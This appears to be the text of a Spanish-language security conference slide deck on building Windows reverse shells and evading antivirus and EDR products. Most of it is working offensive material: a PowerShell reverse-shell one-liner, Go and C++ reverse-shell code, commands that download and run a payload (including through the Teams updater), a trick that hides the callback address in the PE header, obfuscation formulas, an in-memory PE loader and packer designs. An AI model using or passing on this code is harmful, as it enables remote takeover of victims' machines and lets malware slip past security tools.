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Whoami
class PedroC:

def __init__(self):
self.name = ‘Pedro Candel’
self.email = ‘s4ur0n@s4ur0n.com’
self.web =  ‘https://www.s4ur0n.com’
self.nick =  ‘@NN2ed_s4ur0n’
self.company =  ‘CS3 Group’
self.webcorp =  ‘https://cs3group.com’
self.role = ‘Security Researcher’
self.work = [ ‘Reversing’, ‘Malware’, ‘Offensive Security’, ‘…’ ]
self.groups = [ ‘mlw.re’, ‘OWASP’, ‘NetXploit’, ‘...’ ]
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CS3 Group
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1. PowerShell
Reverse Shell & Cross-Compilers
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Reverse Shell & Cross-Compilers
PayloadsAllTheThings (Oneliner TCP Client)

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-
Object 
System.Net.Sockets.TCPClient("172.16.113.1",12345);$stream = 
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = 
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-
Object -TypeName 
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = 
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " 
+ (pwd).Path + "> ";$sendbyte = 
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($s
endbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
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Reverse Shell & Cross-Compilers
Migrar a Golang (p.e. reverse_shell.go = gambas.go)
package main
import ("os/exec"

"os"
"net")

func main(){
hcon, _:=net.Dial("tcp", os.Args[1])  // IP:Port
gamba:=exec.Command(os.Args[2]) // Binary
gamba.Stdin=hcon
gamba.Stdout=hcon
gamba.Stderr=hcon
gamba.Run()

}
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Reverse Shell & Cross-Compilers
Compilamos (GNU/Linux para Windows x64)

env GOOS=windows GOARCH=amd64 go build -
ldflags "-s -w" reverse_shell.go

Descargar (LOLBINs)
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Reverse Shell & Cross-Compilers
Descargar (tradicional pero tocamos lava)

powershell (new-object 
System.Net.WebClient).DownloadFile("http://172
.16.113.1:8000/gamba.exe", "gamba.exe")

Ejecutar (tocar madera)

$ rlwrap nc -vlp 12345
> .\gamba.exe 172.16.113.1:12345 powershell
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Reverse Shell & Cross-Compilers
Descargar (Teams y mil cosas más… EDR)

Copiar o descargar el payload en 
%userprofile%\AppData\Local\Microsoft\Teams\current\

Ejecutar actualización de MS-Teams con
%userprofile%\AppData\Local\Microsoft\Teams\Update.ex
e --processStart payload.exe --process-start-args “args”
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Reverse Shell & Cross-Compilers
Defender 0 – Resto 1

• Avira: HEUR/AGEN.1135444
• BullGuard: detected
• Eset NOD32: a variant of WinGo/Agent.Y trojan
• F-Secure: Heuristic.HEUR/AGEN.1135444
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Reverse Shell & Cross-Compilers
Ofuscar el código

• https://github.com/burrowers/garble

Obfuscate Go code by wrapping the Go toolchain. Requires
Go 1.17 or later.

$ go install mvdan.cc/garble@latest
$ env GOOS=windows GOARCH=amd64 garble build
-ldflags "-s –w -tiny" reverse_shell.go
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Reverse Shell & Cross-Compilers
• Problemas:

Ø Firmas (Reconocimiento by Gibdeon):
§ \x67\x63\x63\x2e\x67\x6e\x75
§ INITY
§ inity
§ Infinity
§ Mingw-w64 runtime failure:
§ GCC: (GNU) 8.3-win32 20190406
§ GCC: (GNU) 7.3-win32 20180506
§ GCC: (GNU) 8.3-posix 20190406 ...Etc...
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Reverse Shell & Cross-Compilers
Ø Flags y fechas de compilación:

§ Requieren una charla completa… -dead_strip -
fno-common -fno-asynchronous-unwind-
tables -fno-exceptions -fno-rtti

• Soluciones Cross-Compilers:

Ø LLVM/Clang
Ø MinGW-w64
Ø Visual Studio
Ø Nim
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2. Ofuscación
Code obfuscation through Mixed Boolean-Arithmetic
(MBA) expressions
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Code obfuscation through MBA expressions
• https://github.com/arnaugamez/talks/tree/master/2021/0

0_intent

@arnaugamez (Arnau Gàmez), Hacker and
mathematician. Founder, security researcher and trainer
@FuraLabs. Senior malware reverse engineer for $vendor.
Community @HackingLliure.
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Code obfuscation through MBA expressions
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Code obfuscation through MBA expressions
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Code obfuscation through MBA expressions
Ejemplo sencillo partiendo de la base:

E1 = x + y
E2 = (x⊕y) + 2*(x^y)
E3 = 151*(39*((x⊕y) + 2 * (x^y)) + 23) + 111
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Code obfuscation through MBA expressions
Código generado (32 bits):
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Code obfuscation through MBA expressions
Algunas variaciones (2 variables de 8 bits):
y-(~x)-1
-(~x)-(~y)-2
2*y-(~x)+(~y)
(x|y)+y-(~x&y)
y+(x&~y)+(x&y)
(x|y)+(~x|y)-(~x)
(x^y)+2*y-2*(~x&y)
-(x^y)+2*y+2*(x&~y)
-(x|~y)-(~x)+(x&y)-2
2*(x|y)-(~x&y)-(x&~y)
(x^y)+2*(~x|y)-2*(~x)
(~x&y)+(x&~y)+2*(x&y)
(x|~y)+(~x&y)-(~(x&y))+(x|y)
3*(x|~y)+(~x|y)-2*(~y)-2*(~(x^y))
2*(~(x^y))+3*(~x&y)+3*(x&~y)-2*(~(x&y))
...
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Code obfuscation through MBA expressions
Y otras operaciones:

x-y : (x^y)+2*(x|~y) + 2
x^y : (x|~y)+(~x|y)-2*(~(x|y))-2*(x&y)
x&y : -~(x&y)+(~x|y)+(x&~y)
x|y : (~x&y)+(x&~y)+(x&y)
2x-y : 3*(x&~y)-(~x&y)+(~x|y)-~(x&y)
-2*y : -(x&y)-2*(~x&y)+~(x|y)-~(x^y)
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Code obfuscation through MBA expressions
P.e. 64 bits, 3 variables:

1*~(~a|(b^c))+3*((a&b)^(a^(b&c)))+3*(b^~(~a&(b|c)))-2*((b&~c)^(a|(b^c)))+11*~c-
2*(~b|(a^c))-1*(b&~(a^c))+2*(~(a|~b)|~(a^(b^c)))-5*(b^~(a&(~b|c)))+1*(b&(a^c))-
7*(~(a|~b)|(b^c))+7*(c^(~a&(~b|c)))+2*c-3*(b^~(~a|(b&c)))-
6*(c^~(~a&(~b|c)))+4*(a&b)+3*((a|~b)&(a^(b^c)))+11*(c^(~a|(b&c)))+11*(~a&(~b|c))-
2*(~(a&b)&(a^(b^c)))-1*(c^(a|b))+1*~(a|(~b&c))+1*((a&c)^~(a^(b&c)))-2*~(a|(b&c))-
2*(b^(~a|(b|c)))+1*(~a|(b&c))+5*(a|~b)-1*(~(a|b)|(a^(b^c)))+2*(~(a&b)&~(b^c))-
1*((a&b)^~(a^(~b|c)))+1*(~b|~(a^c))+1*((a|~b)&~(a^(b^c)))+5*(b^~(~a&(~b|c)))+2*(c^~(
a&~b))+4*(c^(a|(~b|c)))-
3*((b&~c)|~(~a|(~b&c)))+1*(c^(a&(b|c)))+3*((a&~b)|(a^(b^c)))+4*(a|(~b&c))-
3*(c^(~a|(~b&c)))+1*(a&(b^c))-6*((a&b)|~(b|~c))+2*(c^(a|(b&c)))+2*(c^~(a&(~b&c)))-
3*(b|(a&c))-11*(~a&(b|c))-5*((a&b)|~(a^(b^c)))-1*(b^(a|(~b|c)))-
11*((a&b)^~(a^(b&c)))-7*((b&c)|(~a&(b|c)))-11*(c^~(a&b))+4*(c&~(a^b))-
22*~(a|(b|c))+36*~(a|(~b|c))-
16*~(~a|(b|c))+5*~(~a|(~b|c))+28*(~a&(~b&c))+12*(~a&(b&c))-21*(a&(~b&c)),-
12*(a&(b&c))
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Code obfuscation through MBA expressions
• Conclusiones:

Ø No ofuscar sólo el código y las cadenas.
Ø Ofuscar todo tipo de operaciones susceptibles

(emplear 8/16/32/64 bits) según el destino y tipo.
Ø Recordar que - = +(-); * = +…n; …
Ø No emplear las optimizaciones de los compiladores

(memoria, registros, etc.)
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3. C++ Reverse Shell
WSASocket
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C++ Reverse Shell (WSASocket)
WSASocketA function (winsock2.h)

The WSASocket function creates a socket that is bound to a
specific transport-service provider

s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
R.sin_family = AF_INET;
R.sin_port = htons(std::stoul(port, nullptr, 0));
R.sin_addr.s_addr = inet_addr(ip.c_str());
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C++ Reverse Shell (WSASocket)
WSAConnect(s1, (SOCKADDR*)&R, sizeof(R), 0, 0, 0, 0);
memset(&A, 0, sizeof(A));
A.cb = sizeof(A);
A.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
A.hStdInput = A.hStdOutput = A.hStdError = (HANDLE)s1;

TCHAR c[256] = L"cm";
TCHAR d[256] = L"d.exe";
CreateProcess(NULL, _tcscat(c, d), 0, 0, 1, 0, 0, 0, &A, &B);
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C++ Reverse Shell (WSASocket)
Idea original: https://github.com/tihanyin/Simple-Reverse-
Shell/blob/main/Reverse_shell_2022_12.cpp
string path = getFileName(argv[0]);
path.resize(path.size() - 4); //remove .exe from the file
//replace x to "."
for (int i = 0; i < path.size(); i++) {

if (path[i] == 'x') {
path[i] = '.';

}
}
//PORT and IP from the executable
size_t i = path.rfind("_", path.length());
string port = path.substr(i+1, i-path.length());
string ip = path.substr(0, i);
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C++ Reverse Shell (WSASocket)
• Trick:

.\172x16x113x1_12345.exe

• Round #1:

• Ejecutar con otros caracteres \d{1,3}\w+…
• Otras combinaciones: \d{3}\d{3}\d{3}\d{3}\d{5}…
• Ambas: d{3}\w+\d{3}\w+\d{3}\w+\d{3}\w+\d{5}…
• Sin extensión (tratado como un ejecutable)
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C++ Reverse Shell (WSASocket)

© 2022 CS3 Group – Todos los derechos reservados



C++ Reverse Shell (WSASocket)
Dos Header (winnt.h)
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header

WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header

} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
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C++ Reverse Shell (WSASocket)
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C++ Reverse Shell (WSASocket)
• Random name

.\random_chars.exe

• Round #2:

• res (0x24 – 0x1C = 0x8 = 8) ¿IPv4 [4] + Port [2]?
• res2 (0x3C – 0x28 = 0x14 => 20) ¿IPv4/6 [16] + Port [2]?
• e_csum = 0x00 = Constante, no se emplea
• ¿Se comprueba(n) por los AVs/EDRs/Antimalware?
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C++ Reverse Shell (WSASocket)
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C++ Reverse Shell (WSASocket)
• Random name

.\random_source.exe

• Round #3:

• res (0x24 – 0x1C = 0x8 = 8) Port [2]
• res2 (0x3C – 0x28 = 0x14 => 20) IPv4/6 [16]
• e_csum = 0x00 = Constante, no se emplea
• PE_Header (NT Header) + File_Header +

Optional_Header = CRC recalculado
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C++ Reverse Shell (WSASocket)
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C++ Reverse Shell (WSASocket)
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C++ Reverse Shell (WSASocket)
>python mod2bin.py file.exe 172.16.113.1 12345

[+] Opening source file random.exe
[+] Writting settings into
413eb166424fb1b1eec9afd414d6cead_random.exe

[+] Victim IP: 172.16.113.1 (0xAC107101)
[+] Target port: 12345 (0x3039)
[+] Changing timestamp
[+] New checksum calculated

>python –m pefile newfile.exe | more
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C++ Reverse Shell (WSASocket)
PE Checksum (sysinternals)
static uint CalcCheckSum(byte[] data, int PECheckSum)
{

long checksum = 0;
var top = Math.Pow(2, 32);

for (var i = 0; i < data.Length / 4; i++)
{

if (i == PECheckSum / 4)
{

continue;
}
var dword = BitConverter.ToUInt32(data, i * 4);
checksum = (checksum & 0xffffffff) + dword + (checksum >> 32);
if (checksum > top)
{

checksum = (checksum & 0xffffffff) + (checksum >> 32);
}

}

© 2022 CS3 Group – Todos los derechos reservados



C++ Reverse Shell (WSASocket)
checksum = (checksum & 0xffff) + (checksum >> 16);
checksum = (checksum) + (checksum >> 16);
checksum = checksum & 0xffff;

checksum += (uint)data.Length;
return (uint)checksum;

}

https://github.com/BitsOfBinary/pe_trimmer
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C++ Reverse Shell (WSASocket)
• Problemas encontrados:

• El nombre del fichero no se podrá posteriormente
recuperar y será nulo (incluso para .\)

• El stub DOS_HEADER tampoco podrá leerse y/o se
verá que hay un tamper en su cabecera.

• Aproximación a una solución:

• ¿Añadir un recurso con dichos datos? P.e. Un icono,
tabla con los datos…
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C++ Reverse Shell (WSASocket)
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C++ Reverse Shell (WSASocket)
• Problemas encontrados:

• Si lo pasamos a una shellcode, no tendremos acceso al
recurso a no ser que lo leamos directamente… más
código, más APIs y DLLs, y tocamos fichero en disco…
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C++ Reverse Shell (WSASocket)
• Hardcodear (compatible con shellcode) y ofuscar:

© 2022 CS3 Group – Todos los derechos reservados



C++ Reverse Shell (WSASocket)
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C++ Reverse Shell (WSASocket)

© 2022 CS3 Group – Todos los derechos reservados



4. Detección
Jugamos contra el enemigo
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Detección
• MalAPI

https://malapi.io/

Al emplear las APIs de Windows, son muy conocidas y
los AVs/XDRs no son “tontos”…
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Detección

© 2022 CS3 Group – Todos los derechos reservados



Detección
• Antivirus Artifacts

https://github.com/ethereal-vx/Antivirus-Artifacts
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Detección
• P.e. BitdefenderTM
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5. Antidetección
Jugamos “en casa”
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Antidetección
• Kernel callbacks

https://gist.github.com/sbasu7241

/* References:

1. https://t0rchwo0d.github.io/windows/Windows-
Process-Injection-Technique-KernelCallbackTable/
2. https://modexp.wordpress.com/2019/05/25/windows-

injection-finspy/

*/
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Antidetección
• Find hooks

https://gist.github.com/sbasu7241

/* References:

1. https://www.ired.team/offensive-security/defense-
evasion/detecting-hooked-syscall-functions
2. https://github.com/Mr-Un1k0d3r/EDRs

*/
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Antidetección
• EDRs hooks

https://github.com/Mr-Un1k0d3r/EDRs
P.e. Crowdstrike
NtAllocateVirtualMemory is hooked
NtAllocateVirtualMemoryEx is hooked
NtDeviceIoControlFile is hooked
NtGetContextThread is hooked
NtMapViewOfSection is hooked
NtMapViewOfSectionEx is hooked
NtProtectVirtualMemory is hooked
NtQueryInformationThread is hooked
NtQueueApcThread is hooked
Etc...
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6. Syscalls
Sabemos lo que queremos, sabemos lo que tenemos…
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Syscalls
• ¿Qué es una syscall (llamada al sistema)?

Una llamada al sistema o system call es un método
utilizado por las aplicaciones para comunicarse con el
núcleo del sistema (kernel).

Esto es necesario cuando una aplicación o proceso de
usuario necesita acceder a información del hardware, de
otros procesos o del propio núcleo.
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Syscalls
De este modo, la llamada es el punto de enlace entre el
modo de usuario (user mode) y el modo de núcleo
(kernel mode), los dos modos cruciales de privilegio y
seguridad.

Antes de que la syscall termine de procesarse y se envíen o
reciban los datos necesarios, el núcleo del sistema toma el
control del proceso. Su ejecución se interrumpe durante
este periodo. Una vez que se ha realizado la acción de la
syscall, el núcleo renuncia al control y el código continua.
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Syscalls
Para no requerir un conocimiento interno del SS.OO., se
suelen brindar ciertas llamadas al sistema en forma de
funciones de biblioteca (WinAPI) que se pueden invocar a
través de una interfaz de programación.

Se plantea la posibilidad de realizar las llamadas al
sistema directamente desde el código para evitar cualquier
mecanismo de interceptación implantado, tanto en
kernelbase.dll como en ntdll.dll.
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Syscalls
Sin embargo, no es fácil ya que hay que implementar las
funciones en ASM (ensamblador) y para cada versión de
Windows, los códigos de llamada son diferentes...

https://j00ru.vexillium.org/syscalls/nt/64/
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Syscalls
• Syswhispers2
https://github.com/jthuraisamy/SysWhispers2
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Syscalls
• Añadimos la llamada
https://github.com/jthuraisamy/SysWhispers2

© 2022 CS3 Group – Todos los derechos reservados



7. Loader
Evitemos código de 32 bits
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Loader
• Problemas encontrados:

Ø Código mixto (32/64 bits) con funciones flagueables
Ø DLLs posiblemente flageadas (ws2_32.dll)
Ø Syscalls no cubiertas por SysWhispers2
Ø No usa APC (Earlybird)
Ø No tiene un icono L

• Soluciones:

Ø Crear o usar un loader para cargar el binario como
shellcode (sección .text)
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Loader
• KaynLdr

https://github.com/Cracked5pider/KaynLdr
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Loader
• Principios básicos: Carga del PE en memoria (por otro 

proceso) en C ”normal” sin tocar mucho API…
#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <winnt.h>

// loads a PE in memory, returns the entry point address
void* load_PE (char* PE_data);

int main(int argc, char** argv) {
if(argc<2) {

printf("missing path argument\n");
return 1;

}

FILE* exe_file = fopen(argv[1], "rb");
if(!exe_file) {

printf("error opening file\n");
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Loader
return 1;

}

// Get file size : put pointer at the end
fseek(exe_file, 0L, SEEK_END);
// and read its position
long int file_size = ftell(exe_file);
// put the pointer back at the beginning
fseek(exe_file, 0L, SEEK_SET);

//allocate memory and read the whole file
char* exe_file_data = malloc(file_size+1);

//read whole file
size_t n_read = fread(exe_file_data, 1, file_size, exe_file);
if(n_read != file_size) {

printf("reading error (%d)\n", n_read);
return 1;

}
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Loader
// load the PE in memory
printf("[+] Loading PE file\n");
void* start_address = load_PE(exe_file_data);
if(start_address) {

printf("[+] Start Address: %p\n", (void*)&start_address);
// call its entry point
((void (*)(void)) start_address)();

}
return 0;

}

void* load_PE (char* PE_data) {

/** Parse header **/

IMAGE_DOS_HEADER* p_DOS_HDR = (IMAGE_DOS_HEADER*) PE_data;
IMAGE_NT_HEADERS* p_NT_HDR = (IMAGE_NT_HEADERS*) (((char*) p_DOS_HDR) + p_DOS_HDR-

>e_lfanew);

DWORD hdr_image_base = p_NT_HDR->OptionalHeader.ImageBase;
DWORD size_of_image = p_NT_HDR->OptionalHeader.SizeOfImage;
DWORD entry_point_RVA = p_NT_HDR->OptionalHeader.AddressOfEntryPoint;
DWORD size_of_headers = p_NT_HDR->OptionalHeader.SizeOfHeaders;
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Loader
/** Allocate Memory **/
char* ImageBase = (char*) VirtualAlloc(NULL, size_of_image, MEM_RESERVE | MEM_COMMIT, 

PAGE_READWRITE);
if(ImageBase == NULL) {

// Allocation failed
return NULL;

}

/** Map PE sections in memory **/
memcpy(ImageBase, PE_data, size_of_headers);

// Section headers starts right after the IMAGE_NT_HEADERS struct, so we do some pointer 
arithmetic-fu here.

IMAGE_SECTION_HEADER* sections = (IMAGE_SECTION_HEADER*) (p_NT_HDR + 1); 

// For each sections
for(int i=0; i<p_NT_HDR->FileHeader.NumberOfSections; ++i) {

// calculate the VA we need to copy the content, from the RVA 
// section[i].VirtualAddress is a RVA, mind it
char* dest = ImageBase + sections[i].VirtualAddress; 
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Loader
// check if there is Raw data to copy
if(sections[i].SizeOfRawData > 0) {

// We copy SizeOfRaw data bytes, from the offset PointertoRawData in the file
memcpy(dest, PE_data + sections[i].PointerToRawData, sections[i].SizeOfRawData);

} else {
memset(dest, 0, sections[i].Misc.VirtualSize);

}
}

/** Map PE sections privileges **/

//Set permission for the PE hader to read only
DWORD oldProtect;
VirtualProtect(ImageBase, p_NT_HDR->OptionalHeader.SizeOfHeaders, PAGE_READONLY, 

&oldProtect);

for(int i=0; i<p_NT_HDR->FileHeader.NumberOfSections; ++i) {
char* dest = ImageBase + sections[i].VirtualAddress;
DWORD s_perm = sections[i].Characteristics;
DWORD v_perm = 0; //flags are not the same between virtal protect and the section

header
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Loader
if(s_perm & IMAGE_SCN_MEM_EXECUTE) {

v_perm = (s_perm & IMAGE_SCN_MEM_WRITE) ? PAGE_EXECUTE_READWRITE : 
PAGE_EXECUTE_READ;

} else {
v_perm = (s_perm & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;

}
VirtualProtect(dest, sections[i].Misc.VirtualSize, v_perm, &oldProtect);

}

return (void*) (ImageBase + entry_point_RVA);
}
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Loader
• Problemas encontrados:

Ø 32 vs 64 bits (solucionado)
Ø Imports y Relocs (solucionado)
Ø Tipo de SS.OO. de destino (Windows 11, Win10, W7…)

• Soluciones encontradas:

Ø Loader de 32 bits universal from scratch
Ø Loader de 64 bits universal from scratch
Ø Ambos con carga de un fichero, recurso o bytearray
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Loader
• Syswow64 mostrar todo de 32 bits

• Punto de partida: https://progi.pro/zapustite-x64-pe-iz-
pamyati-11852713 

UniLoader32 / 64
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8. Packer
Ofusquemos el resultado
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Packer
• Resumen:

Nuestro loader puede leer un archivo PE desde cualquier
lugar, cargarlo en la memoria y ejecutar su contenido.

Vamos a modificar el código C para leer el archivo PE
desde una sección del desempaquetador, llamada
".packed” o como sea (nombre demasiado obvio para un
analista de malware).
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Packer
• Esto es lo que queremos:

1. Enumerar las secciones del proceso en ejecución
actual (el desempaquetador).

2. Buscar la sección ".packed": este es un contenido de
archivo PE.

3. Cargar este PE en la memoria y ejecutarlo.
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Packer
• Ideas base:

§ https://github.com/fancycode/MemoryModule/tree/mast
er/doc

§ https://github.com/dzik143/pe64-no-imports
§ https://github.com/hlldz/APC-PPID/blob/master/apc-

ppid.cpp
§ https://github.com/scythe-io/memory-module-loader
§ https://github.com/knownsec/shellcodeloader
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Packer
• Miles de loaders + packers:

§ https://bidouillesecurity.com/tutorial-writing-a-pe-
packer-part-3/

§ https://github.com/frkngksl/Huan (con CBC AES 128,
créditos https://github.com/kokke/tiny-AES-c)

§ https://www.codeproject.com/Articles/5317556/Creating
-Your-Very-Own-x64-PE-Packer-Protector-fro
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https://github.com/kokke/tiny-AES-c


9. Soluciones “free”
Convirtiendo nuestra solución en otra
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Soluciones a los problemas con los de otros…
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• Pezor:

Ø https://github.com/phra/PEzor

• Mortar Loader:

Ø https://github.com/0xsp-SRD/mortar

Ares:
Ø https://github.com/Cerbersec/Ares



10. All-in-one
Ejecutemos del tirón con nuestra “solución”
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Solución “temporal” hasta ser lava
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• Recapitulemos:

Ø Crear el binario
Ø Ofuscarlo [y/o comprimirlo tipo lzma2]
Ø Cargarlo en memoria
Ø Desofuscarlo
Ø Obtener el OEP
Ø Pasarle el control
Ø Esperar tiempo random y cruzar los dedos…



Solución “temporal” hasta ser lava
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• Nuevamente tenemos que recurrir a syscalls:

§ Técnica Earlybird / APC

§ Explicada ampliamente en 
https://www.securityartwork.es/2021/11/18/evadiend
o-el-antivirus-mediante-early-bird-y-syscalls/



Solución “temporal” hasta ser lava
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Solución “temporal” hasta ser lava
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• PaELla-Packer (Pá [ella] y/o Pá [él], ni para una ni para
el otro, para los Windous):

Ø Arroz “con cosas”: guarrica, chorizos, morcillas, forro,
oreja…

Ø Todo con pan para comerlo del tirón (Gracias Chary)…
Ø Rutinas matemáticas MBA polimórficas…
Ø (TBD)



Solución “temporal” hasta ser lava
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• Tricks:

Ø Checksum (recalcular)
Ø Signtool (certificados de firma de código)
Ø Virtualización de código (vCPU)
Ø Secciones “entendibles” (xDRS con IAs como

Grindsoft, SecureAge APEX, etc… en VT)
Ø Etc…
Ø Y crearle un icono L al packer



Reflexiones
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• Algoritmo de Tremaux:

1. No siga el mismo camino dos veces.
2. Si llega a un cruce nuevo, no importa qué camino

siga.
3. Si un camino nuevo lo lleva a un cruce viejo, o a un

callejón sin salida, retroceda hasta la entrada del
camino.

4. Si un camino viejo lo lleva a un cruce viejo, tome un
camino nuevo, y si no lo hay, tome cualquiera.



¿Preguntas?
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Recursos online

© 2022 CS3 Group – Todos los derechos reservados

• Otros recursos útiles:
Ø https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-
analysis/

Ø https://www.deepinstinct.com/blog/evading-antivirus-detection-
with-inline-hooks

Ø https://www.infosec.tirol/master-of-puppets-part-ii-how-to-tamper-
the-edr/

Ø https://arxiv.org/pdf/2108.10422.pdf
Ø https://www.optiv.com/insights/source-zero/blog/defeating-edrs-
office-products

Ø https://github.com/lab52io/StopDefender
Ø Etc…
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